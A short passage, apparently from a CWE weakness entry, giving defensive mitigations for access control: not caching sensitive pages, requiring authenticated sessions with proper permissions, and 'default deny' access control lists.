  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.